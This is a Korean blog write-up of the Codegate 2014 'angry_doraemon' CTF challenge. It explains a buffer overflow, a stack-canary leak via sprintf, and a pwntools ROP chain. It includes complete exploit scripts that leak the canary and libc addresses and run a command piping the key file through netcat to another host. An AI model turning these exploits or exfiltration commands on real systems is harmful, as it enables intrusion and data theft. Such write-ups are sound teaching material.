Pwntools



CTF 문제 풀이용 Framework 인 pwntools(pwnlib) 를 그동안 제대로 활용하지 못하고 있었는데(접속과 쉘코드 정도만 사용), 다양한 기능 연습 겸 최대한 pwntools 를 써가며 이전 pwnable 문제들을 풀어보기로 했다.








angry_doraemon  (Codegate 2014, pwn 250 문제)


□ description
==========================================
OS : Ubuntu 13.10 x86
IP : 58.229.183.18 / TCP 8888
http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9
==========================================
□ number of solvers : 57
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 06:16)
2 : ppp (02/23 06:22)
3 : stratumauhuur (02/23 06:28)


실행시켜보면 도라에몽과 싸우는 텍스트 게임이다.












바이너리 보호기법 확인



먼저 바이너리에 적용된 보호기법을 살펴보자.  checksec 스크립트 대신 아래와 같이 한줄로 대신할 수 있다.


#> python -c 'from pwn import *;ELF("./angry_doraemon")'


쓰고보니 이게 더 귀찮네..-.-;



Stack Canary (SSP 보호기법) 가 적용되어 있으며, NX 도 적용되어 있는 것을 볼 수 있다. 물론 Ubuntu 13.10 이므로 ASLR 적용


적용된 보호기법을 확인했으니 취약점이 발생하는 부분을 찾아 보도록 하자.









취약점 분석


IDA로 살펴보면 아래와 같이 4번 메뉴 입력값을 받을 때 read() 함수에서 할당된 버퍼보다 더 큰 수만큼 읽어오기 때문에 bof 취약점이 밟생하는 것을 확인할 수 있다.





 buf 변수는 4바이트밖에 안되는데 110 바이트를 입력받고 있다. 기초적인 bof 문제같지만 SSP 보호기법 때문에 stack canary 가 존재한다. 스택에 stack canary 가 존재하며, 이를 검사하여 다른 값으로 덮어씌워졌을 경우 bof 로 판단하여 조작된 리턴주소로 점프하지 않고 에러를 내뱉는다. 윈도우 계열에서는 SEH Overwrite 를 이용하여 우회가 가능한 보호기법인데, linux 의 경우 SEH 가 존재하지 않으므로 다른 방법으로 우회해야 한다. 


풀리라고 만든 문제인 만큼 대부분 바이너리에서 어떤 방법으로든 우회가 가능하게 구성이 되어있다. 이 바이너리의 경우에는 바로 아래쪽에 있는 sprintf 함수를 이용하면 우회가 가능하다. buf 를 출력해 주고 있는데, sprintf 함수는 널바이트를 문자열의 끝으로 인식하므로 canary 까지 널바이트가 없도록 쓰레기값으로 채워주면 canary 까지 출력이 된다.


 |    buf    |  .....        | canary |

  abcd\x0                             


sprintf(buf) => abcd 

       

==================================================


 |    buf    | .....         | canary |

  aaaaaaaaaaaaaaa| canary |    


sprintf(buf) => aaaaaaaaaacanary     



간단하게 코드를 작성하여 보면 예상대로 canary 값을 얻을 수 있다. 이 값은 fork() 로 인해 변하지 않으므로 한번 확인한 값을 계속 사용하면 된다. fork() 는 부모 프로세스 메모리 주소를 그대로 받아서 사용하므로 바이너리가 재 실행 되기 전까지는 변하지 않는다.



# leak.py


#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[+] angry_doraemon exploit by hyunmini"
SIP = '192.168.182.202'
SPORT = 8888

e = ELF('./angry_doraemon')

# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary


canary 를 출력하기 위해서 10 byte 를 채워주면 되지만 실제로 y*10 을 하면 canary 값이 전송되지 않는 것으로 보아 첫번째 canary byte 는 '\x00' 임을 알 수 있다.





이제 canary 값을 구했으니 일반적인 ROP Exploit 을 작성하면 된다. 



# pwn_rop.py


#!/usr/bin/python
import time
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[+] angry_doraemon exploit by hyunmini"

SIP = '192.168.182.202'
SPORT = 8888

e = ELF('./angry_doraemon')
rop = ROP(e)
rop2 = ROP(e)
offset = 0x8bd80 # write - system
bss = e.bss() # writable addr

# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary

# Stage 1 : leak Exploit
print '\n\n\n ### Stage 1 : leak write addr... \n\n\n'
r2 = remote(SIP ,SPORT)
print r2.recvuntil('>')
r2.send('4')
print r2.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)
rop.write(0x4, e.got['write'], 0x4)
payload = 'y'*10 + p32(canary) + "a"*12 + rop.chain()
r2.send(payload)
sleep(1)
data2 = r2.recv(2048)
write = r2.recv(2048)
print hexdump(write)
print '[+] leaked write addr : 0x%x' % u32(write)
system = u32(write) - offset
print '[+] system addr : 0x%x' % system
e.symbols['system'] = system 

# Stage 2 : ROP Exploit
print '\n\n\n ### Stage 2 : ROP Exploit \n\n\n'
cmd = "cat key | nc 192.168.182.129 7777\x00"
r3 = remote(SIP ,SPORT)
print r3.recvuntil('>')
r3.send('4')
print r3.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(read_plt) + p32(pppr) + p32(0x4) + p32(bss) + p32(len(cmd)) + p32(system) + "AAAA" + p32(bss)
rop2.read(0x4, bss, len(cmd))
rop2.system(bss)
payload = 'y'*10 + p32(canary) + "a"*12 + rop2.chain()
r3.send(payload)
sleep(1)
r3.send(cmd)
print r3.recv(1024)


기존에는 아래와 같이 p32 만 사용했었는데, 이번에 ROP 모듈을 살펴보니 훨씬 쉽게 작성이 가능했다.


payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)

위 코드 대신에 아래와 같이 간단히 써주면 된다. 직접 주소를 구할 필요도 없다.

rop.write(0x4, e.got['write'], 0x4)
rop.chain()


nc 로 열고 exploit 을 실행하면 키값을 읽어오는 것을 확인할 수 있다.



끄읏

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28

+ Recent posts